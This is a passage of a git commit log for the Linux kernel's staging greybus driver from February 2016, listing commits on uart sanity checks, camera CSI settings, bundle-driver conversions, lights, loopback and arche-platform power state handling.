.../staging/greybus/Documentation/sysfs/greybus1/1-2/ddbl1_product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/interface_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/module_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/num_interfaces | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/vendor_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/bundle_id | 1 - .../sysfs/greybus1/1-4/1-4.2/gpbridge0/gpio/gpiochip490/.gitignore | 1 - .../Documentation/sysfs/greybus1/1-4/1-4.2/gpbridge0/i2c-4/.gitignore | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/state | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/1-4.4.2/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/1-4.4.2/bundle_id | 1 + .../greybus1/1-4/1-4.4/1-4.4.2/gpbridge0/gpio/gpiochip490/.gitignore | 1 + .../sysfs/greybus1/1-4/1-4.4/1-4.4.2/gpbridge0/i2c-4/.gitignore | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/1-4.4.2/state | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/interface_id | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/vendor_id | 0 .../greybus/Documentation/sysfs/greybus1/1-4/ddbl1_manufacturer_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-4/ddbl1_product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/interface_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/module_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/num_interfaces | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/vendor_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/bundle_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/state | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.1/bundle_class | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.1/bundle_id | 1 + .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.1/state | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/interface_id | 1 + .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/vendor_id | 0 .../greybus/Documentation/sysfs/greybus2/2-3/ddbl1_manufacturer_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-3/ddbl1_product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/interface_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/module_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/num_interfaces | 1 + drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/product_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/vendor_id | 0 79 files changed, 15 insertions(+), 9 deletions(-) commit bb80c76448b2463a1ecfe622df4f7b3c5fb39cdf Author: Greg Kroah-Hartman Date: Tue Feb 23 22:51:45 2016 -0800 greybus: gpio: handle api changes for 4.5 kernel release In kernel version 4.5, struct gpio_chip renamed the field 'dev' to 'parent' so handle this properly. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 4 ++++ 1 file changed, 4 insertions(+) commit 7a6396d9ce81564b09d91586b29fdd02e6814c28 Author: Greg Kroah-Hartman Date: Tue Feb 23 22:51:23 2016 -0800 greybus: gpio: use bundle device for error messages Use the bundle device directly in gpio error messages instead of the gpio device, as they are the same pointer. This will make future gpio api changes much easier to handle. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 47 ++++++++++++++++++++++-------------------- 1 file changed, 25 insertions(+), 22 deletions(-) commit 6743a6fd963aba000b128fd0b5c420a8f4b0dcde Author: Vaibhav Hiremath Date: Thu Feb 25 02:27:36 2016 +0530 greybus: arche-platform: Fix exit path in probe fn If SVC coldboot fails or if of_platform_populate() fn fails, then state of device needs to be reverted. Importantly, if of_platform_populate() fails, then poweroff the SVC. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit c5f338c4a040d7d6eefc560f3ee5cdb6ede03b74 Author: Johan Hovold Date: Wed Feb 24 16:11:51 2016 +0100 greybus: uart: fix incomplete receive-data sanity checks Fix incomplete receive-data sanity checks. The payload size was never verified before parsing the uart header and neither was the uart-header data size verified against the actual payload size, something which could lead to information leaks when passing data beyond the payload buffer to the tty layer. Also remove the incorrect check against the maximum (tx-buffer) payload size. Reviewed-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 33 ++++++++++++++++++++++++--------- 1 file changed, 24 insertions(+), 9 deletions(-) commit cb7f00ba5f581ca2f0848dd2ed77f1b9d793c648 Author: Johan Hovold Date: Wed Feb 24 16:11:50 2016 +0100 greybus: uart: add missing serial-state sanity check Add dedicated serial-state request handler and add the missing sanity check on the incoming request. Reviewed-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) commit 066f950c65c206c1a1a2f72f2c80134177ea3999 Author: Johan Hovold Date: Wed Feb 24 16:11:49 2016 +0100 greybus: uart: add max-payload sanity check Let's be well behaved and add a sanity check on the maximum greybus payload size to avoid underflow on the calculated buffer size. Reviewed-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 71f6c3231c1dce6980f97b7bc7ed7ac32faac550 Author: Fabien Parent Date: Tue Feb 23 18:46:11 2016 +0100 greybus: connection: {en,dis}able fct flow in connection management The AP must enable the FCT flow of APBA once it has received the response from the AP that the connection between APBA and a module has been setted up. Disable the flow of FCT tokens when destroying connections. Signed-off-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit e70055b3fb62c7ff1c23d8d2076e4c5b4caf39a1 Author: Fabien Parent Date: Tue Feb 23 18:46:10 2016 +0100 greybus: es2: implement the fct flow control requests Implement the control requests enabling/disabling the flow of FCT on APBA. Reviewed-by: Johan Hovold Signed-off-by: Fabien Parent Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit 48a173030545472e4d0aa1b432b389ef59bf5cf0 Author: Fabien Parent Date: Tue Feb 23 18:46:09 2016 +0100 greybus: apba: add fct flow usb control requests Add control requests to enable/disable the flow of unipro FCT tokens Reviewed-by: Johan Hovold Signed-off-by: Fabien Parent Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 3 +++ 1 file changed, 3 insertions(+) commit 9ed5e1ba33d12dfcc693c87779f39b91c16c15b9 Author: Fabien Parent Date: Tue Feb 23 18:46:08 2016 +0100 greybus: connection: add api to {en,dis}able unipro fct flow In order to support mailbox-free control cport init on the bridges the AP must be able to enable/disable the flow of unipro fct tokens. Add a new API that will enable or disable on APBA the flow of fct tokens. Reviewed-by: Johan Hovold Signed-off-by: Fabien Parent Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 28 ++++++++++++++++++++++++++++ drivers/staging/greybus/hd.h | 2 ++ 2 files changed, 30 insertions(+) commit c5e7cbaf3ab8842278a9162dfaf04464ce21f0e4 Author: Vaibhav Hiremath Date: Mon Feb 22 17:27:26 2016 +0530 greybus: arche-apb-ctrl: Return immediately if in same state from state change fns Have a check inside all individual operational state change functions to check whether device is in same state, and if yes, then return immediately. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 25847ee7c9517f91323f9139713ebdc94c865a2e Author: Vaibhav Hiremath Date: Mon Feb 22 17:27:25 2016 +0530 greybus: arche-platform: Avoid doing same thing again in poweroff fn If user switches from fw_flashing => off mode, then we do not need to do same things again, for example, clk_disable and wake/detect event, as while switching to fw_flashing, driver makes sure that device goes to off state and then brings back in fw_flashing state. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 599159b6877e665b086d6e3092203c651b8a3952 Author: Vaibhav Hiremath Date: Mon Feb 22 17:27:24 2016 +0530 greybus: arche-platform: Return immediately if in same state from state change fns Have a check inside all individual operational state change functions to check whether device is in same state, and if yes, then return immediately. Testing Done: Tested on DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 27e18d8c6967f554b374a713c6bd21bcc985389b Author: Jacopo Mondi Date: Tue Feb 23 11:22:49 2016 +0100 greybus: camera: Rename clock_mode to flags Rename the 'clock_mode' parameter to a more generic 'flags' in the csi bus configuration structure. Define flags value for continuous clock mode. Signed-off-by: Jacopo Mondi Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 446091c999388f9365e8d206f70b0c1a860212a0 Author: Jacopo Mondi Date: Tue Feb 23 11:22:48 2016 +0100 greybus: camera: Add CSI configuration parameters Add CSI configuration parameters to the configure_stream operation response. Currently, only the total number of lines in a second is used to configure the the AP-Bridge CSI transmitter, all other parameters (number of CSI data lanes, and CSI bus clock frequency) are kept hard-coded for two reasons: 1) We need to configure the CSI receiver on AP side accordingly to these settings, before sending them to APB1 CSI transmitter. 2) We cannot use the camera module provided parameters as-is, but use those information to compute the required bandwidth on the CSI bus, and configure the # of CSI data lanes, and the CSI bus clock speed in a way that satisfies that bandwidth requirement. Signed-off-by: Jacopo Mondi Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 11 ++++++++++- drivers/staging/greybus/greybus_protocols.h | 5 ++++- 2 files changed, 14 insertions(+), 2 deletions(-) commit 7f29aded453e0392391b831c196583c274ec2cfd Author: Greg Kroah-Hartman Date: Mon Feb 22 18:14:46 2016 -0800 greybus: uart: properly calculate max buffer size We forgot to count the size of the uart send data message header when calculating the maximum size of the buffer that the uart driver could send in one chunk. This fixes the math and makes the variable a size_t to match the return value of the call to gb_operation_get_payload_size_max(); Reported-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman Tested-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 737df280a73b9e9d3d24cd8e81637b0496f06dde Author: Johan Hovold Date: Mon Feb 22 18:50:53 2016 +0100 greybus: Documentation: remove svc unique_id attribute Remove unimplemented svc unique_id attribute from the documentation. This attribute made more sense when we thought we'd have an AP-module, unlike now when the AP and SVC are both part of the same frame. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 7 ------- .../staging/greybus/Documentation/sysfs/greybus1/1-svc/unique_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-svc/unique_id | 0 3 files changed, 7 deletions(-) commit 907d1e16ffe4ea50a9bdf1c644fd48ce6a126e4f Author: Viresh Kumar Date: Fri Feb 19 15:57:46 2016 +0530 greybus: interface: Add print messages on interface initialization/removal It might be of interest (to developers at least) to know when an interface is getting created or removed from the system. Interface creation message can further contain basic information about the interface, like its vid/pid and mfg/prod ids. Now, the interface is created by gb_interface_create(), which doesn't register the intf->dev to the kernel and so the print message is rather added to gb_interface_init() where we register the device with the kernel. A similar message is added to gb_interface_remove() only when the interface was earlier initialized. And this is how the output looks on real insertion/removal of the module: greybus 1-1: Interface added: VID=0x00000001, PID=0x00000001 greybus 1-1: DDBL1 Manufacturer=0x00000001, Product=0x00000001 ... greybus 1-1: Interface removed Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 2422d36696f36ea92f17bb34a129a74f9b173891 Author: Greg Kroah-Hartman Date: Wed Feb 17 16:30:38 2016 -0800 greybus: Revert "gb_loopback: Fix throughput calculations" This reverts commit 9b9b046af237f5674c2f7ca991dc62332b2d4041 Bryan wants more feedback first. Reported-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 57 ++++++++++---------------------------- 1 file changed, 15 insertions(+), 42 deletions(-) commit b07868bda2fb61b784dc260dd075d84ac994d599 Author: Vaibhav Agarwal Date: Tue Feb 16 22:16:33 2016 +0530 greybus: audio: return success for stop trigger if device removed In case GB codec module is already removed, no action is required at the HW level. Thus, report SUCCESS to above layer. Reporting error to above layer will cause repeated trials and won't allow to update DPCM connections. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 4 ++++ 1 file changed, 4 insertions(+) commit 29386f058a758f5ef6e8a522101fcbfd0ef07a19 Author: Vaibhav Agarwal Date: Tue Feb 16 00:27:28 2016 +0530 greybus: audio: schedule workqueue to perform codec cleanup on module removal In response to codec module removal, user space is reported about the event. In response to this, ALSA layer will update DAPM route and cleanup DAPM states. As a fallback mechanism, kernel can cleanup the DAPM state for codec module. But, this would cause immediate playback (first trial) to fail, since DSP is still in inconsistent state. To avoid such situation, a workqueue is scheduled for codec cleanup with timeout=50ms. Thus, normally it is expected from above layers to update routes and perform cleanup. However, fallback mechanism still holds good after 50ms. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 36 ++++++++++++++++++++++++++++------- drivers/staging/greybus/audio_codec.h | 1 + 2 files changed, 30 insertions(+), 7 deletions(-) commit b19df7b9950cd8c1212dcc775dffcdaace391db3 Author: Vaibhav Agarwal Date: Tue Feb 16 00:27:27 2016 +0530 greybus: audio: Enable support for multiple codec modules Update params, sequence in response to changes in msm8994 helper APIs Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 107 ++++++++++++---------------------- 1 file changed, 36 insertions(+), 71 deletions(-) commit c6ad27a98ce5f9718c7235cf02de2055897f56d5 Author: Rui Miguel Silva Date: Wed Feb 17 14:32:53 2016 +0000 greybus: lights: fix check for configured lights The validation for a complete configured light is wrong and it is reworked to make sure that only when the light is ready, will handle request events. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 137f717942c9cff82484ee90647881d9c524178f Author: Rui Miguel Silva Date: Wed Feb 17 14:32:52 2016 +0000 greybus: lights: remove has_flash on failure If register to v4l2 fails just mark the light as not having flash so in release we do not try to unregister. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 492331435465977407e43865c19e34918cd90a66 Author: Rui Miguel Silva Date: Wed Feb 17 14:32:51 2016 +0000 greybus: lights: remove unnecessary checks We do not need to check for channels and lights as they can never be NULL as a big memory array elements. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 5 ----- 1 file changed, 5 deletions(-) commit c53b0b27d57cc1dff50080c911b48b2af7728dc4 Author: Alexandre Bailon Date: Wed Feb 17 18:21:06 2016 +0100 greybus: gb_loopback: Fix throughput calculations Throughput and requests per second calculations are broken for asynchronous request. Instead of calculate the throughput for each iteration, calculate it once at the end of the test. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 57 ++++++++++++++++++++++++++++---------- 1 file changed, 42 insertions(+), 15 deletions(-) commit 478ce7203c2cf3f241f11587717336a60d391269 Author: Johan Hovold Date: Wed Feb 17 19:30:40 2016 +0100 greybus: es2: fix cport-count error handling Make sure to check for short transfers when retrieving the bridge cport count. Also clear the request buffer when allocating it. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit b59281ac077414d879e66798f8e44eb976967814 Author: Axel Haslam Date: Wed Feb 10 14:19:29 2016 +0100 greybus: loopback: Add reserved fields to transfer request All loopback transfer operations should have an identical header format in order to facilitate bandwidth and data movement analysis. Suggested-by: Bryan O'Donoghue Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 ++++++ 1 file changed, 6 insertions(+) commit ee97e24ac63510c5836ac71ce88c9f61e265ee84 Author: Vaibhav Hiremath Date: Wed Feb 17 01:27:52 2016 +0530 greybus: arche-apb-ctrl: Do not coldboot APBs in probe Since parent driver (SVC) is controlling APBs directly, we do not need to bringup APBs in its own probe. Testing Done: Tested on EVT1.2. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 9 --------- 1 file changed, 9 deletions(-) commit 4a7908cb71875991cabb2194c1c6b05cb97187ae Author: Viresh Kumar Date: Fri Feb 12 21:48:03 2016 +0530 greybus: manifest: Parse cports (within a bundle) in the order from manifest blob The order in which cports (of a bundle) are present in the manifest blob is important for gbsim, as it allocates hd_cport_id's for them sequentially. For example, if there are two cports (1 and 2, in order 1->2) present in a bundle in the manifest blob, then gbsim allocates hd_cport_id X and X+1 for them. This is done on the assumption that kernel will do the same. Though it shouldn't have had any such assumptions since the beginning. But with a recent patch that sequence is changed, and it broke the assumption gbsim had. While parsing the manifest blob, the cports within a bundle are now moved to another list using list_move() and then they are picked one by one from the HEAD of the list. list_move() first deletes the node and then adds it to HEAD as it uses list_add() and not list_add_tail(). And that reverses the order in which the cports were present in the original list. And because of this, the messages destined for cport 1 are delivered to cport 2 and the ones for cport 2 are delivered to cport 1. In order to get gbsim working with greybus, keep the cport list in the order in which they were present in manifest, by replacing list_move() with list_move_tail(). Its a trivial patch and shouldn't have any side effects on the working of greybus with nuttx. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 640924d2172da9b6f8a0c9372c3ea3b83f68e2f8 Author: Laurent Pinchart Date: Sun Feb 14 02:33:07 2016 +0200 greybus: camera: Don't configure CSI TX in test only mode When the GB_CAMERA_CONFIGURE_STREAMS_TEST_ONLY flag is set by the caller the configure streams operation should only test the requested settings without modifying the hardware state. This applies for both the module, the UniPro links power modes and the AP bridge settings. Return early when the flag is set to avoid modifying the AP bridge CSI TX settings. Signed-off-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Tested-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) commit 66c3607076e7e801ab20077dc2d0ed45693eea10 Author: Laurent Pinchart Date: Sun Feb 14 02:33:06 2016 +0200 greybus: camera: Set power mode after configuring streams There's no need to set the power mode before configuring streams, doing it after simplifies code. Signed-off-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Tested-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 43 +++++++++++++++------------------------- 1 file changed, 16 insertions(+), 27 deletions(-) commit b573b0e65616c1ae5c5dd2c14fd62d3ded3d5466 Author: Laurent Pinchart Date: Sun Feb 14 02:33:05 2016 +0200 greybus: camera: Clean up when AP link power mode configuration failed Restore the module link power mode to the previous state in that case. Signed-off-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Tested-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 1 + 1 file changed, 1 insertion(+) commit c161c0fc2f18ab8c299d6cb716d6264427e38867 Author: Laurent Pinchart Date: Sun Feb 14 02:33:04 2016 +0200 greybus: camera: Factorize link power mode configuration code into a function Avoid duplicating the same code block multiple times. Signed-off-by: Laurent Pinchart Tested-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 116 ++++++++++++++++++--------------------- 1 file changed, 52 insertions(+), 64 deletions(-) commit 68b1309be689ec4e93d2b48e09ccaaa8abf5b0b6 Author: Viresh Kumar Date: Fri Feb 12 16:08:33 2016 +0530 greybus: power_supply: convert to bundle driver Convert the legacy power_supply protocol driver to a bundle driver. This also fixes a potential crash should a (malicious) module have sent an early request before the private data had been initialised. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/power_supply.c | 72 ++++++++++++++++++++++++++-------- 2 files changed, 55 insertions(+), 18 deletions(-) commit 7e9fba8df7606bcace9d22394f59c2047dd55091 Author: Viresh Kumar Date: Fri Feb 12 16:08:32 2016 +0530 greybus: power_supply: Break supply setup into two parts This breaks the power supply setup routine into two parts, the first one allocates all the necessary resources and the second on registers supplies to the required frameworks. This is required to enable only TX on the connection, until we have allocated all the resources, otherwise the request handler might get called for partially initialized structures. Signed-off-by: Viresh Kumar Reviewed-by: Rui Miguel Silva Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 57 ++++++++++++++++++++++++++-------- 1 file changed, 44 insertions(+), 13 deletions(-) commit 69564dfeacf0728b60e3b2c85b357bc63213116c Author: Viresh Kumar Date: Fri Feb 12 16:08:31 2016 +0530 greybus: lights: convert to bundle driver Convert the legacy lights protocol driver to a bundle driver. This also fixes a potential crash should a (malicious) module have sent an early request before the private data had been initialised. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/light.c | 72 ++++++++++++++++++++++++++++++---------- 2 files changed, 55 insertions(+), 18 deletions(-) commit 6ce0eed783bd6b507fb029323d30d0e9a9d38da2 Author: Viresh Kumar Date: Fri Feb 12 16:08:30 2016 +0530 greybus: lights: Break light setup into two parts This breaks the light setup routine into two parts, the first one allocates all the necessary resources and the second on registers lights to the required frameworks. This is required to enable only TX on the connection, until we have allocated all the resources, otherwise the request handler might get called for partially initialized structures. Signed-off-by: Viresh Kumar Reviewed-by: Rui Miguel Silva Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 46 +++++++++++++++++++++++++++++++++++++---- 1 file changed, 42 insertions(+), 4 deletions(-) commit e82a11dcbd37f0b5596d08636859b372713d4460 Author: Viresh Kumar Date: Fri Feb 12 16:08:29 2016 +0530 greybus: loopback: convert to bundle driver Convert the legacy loopback protocol driver to a bundle driver. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/loopback.c | 86 +++++++++++++++++++++++++++----------- 2 files changed, 62 insertions(+), 25 deletions(-) commit 512cc327625651260b2ba885b63cf2cf14ff54d1 Author: Viresh Kumar Date: Mon Feb 15 10:47:27 2016 +0530 greybus: raw: convert to bundle driver Convert the legacy raw protocol driver to a bundle driver. This also fixes a potential crash should a (malicious) module have sent an early request before the private data had been initialised. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/raw.c | 82 ++++++++++++++++++++++++++++------------ 2 files changed, 58 insertions(+), 25 deletions(-) commit 2554eda5756a37118ab310bd02de78491303ab5f Author: Viresh Kumar Date: Fri Feb 12 16:08:27 2016 +0530 greybus: raw: Don't use (possibly) uninitialized raw->device in gb_raw_receive() If an incoming request comes on the connection, before the driver has allocated its raw->device in gb_raw_connection_init(), then it might result in a crash while printing error messages. Fix that by using bundle->dev for printing error messages. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) commit c463593c3dbc8d4dcb132538b0116256fa0cc455 Author: Viresh Kumar Date: Fri Feb 12 16:08:26 2016 +0530 greybus: raw: Use consistent label names in connection_init() Some of the labels are named based on what they are going to undo, while others are based on where we failed in connection_init(). Follow only the first type of naming. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 7d0493d191abc0bb20c0746fe687b7e8ba8a696a Author: Greg Kroah-Hartman Date: Mon Feb 15 13:58:21 2016 -0800 greybus: only build arche platform driver if usb3613 is enabled The build is broken if you try to build the arche platform driver without the usb3163 driver enabled at the same time, so specify that dependency in the greybus Makefile. Testing done: built inside and outside of the build system against many different kernel versions. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit ad4d3f95c9a25590da8b2b71dbbad838b80bf7dc Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:20 2016 +0530 greybus: arche-platform: Control usb3613 from arche-platform USB3613 hub driver exports control function, which allows caller to switch the mode of operation of hub device. As we know that, we have dependency between HUB3613 and APB's where, HUB supposed to enter into HUB only after APB's brought out of reset. Until now, we had all userspace driver sequences to control this, but now since we are moving all resource management strictly to the driver, it makes sense (even though it looks hacky) to enable control of hub3613 from arche-platform driver. Note that, there is another discussion where, the hub.connect IO pin may get interfaced with MSM gpio, at that time, we can get rid of this hack and replace it with gpio control. Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit bc8eadd46c05280f7ddcf2ab7cf97d1cd15a578c Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:19 2016 +0530 greybus: arche-apb-ctrl: Do not export any gpios With addition of operational state in driver, user/developer can switch to FW flashing state through sysfs. So no need to export any gpios to userspace now. Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 16 ---------------- 1 file changed, 16 deletions(-) commit b03249390806c48921e1a538673276ebfcb645b7 Author: Vaibhav Hiremath Date: Sat Feb 13 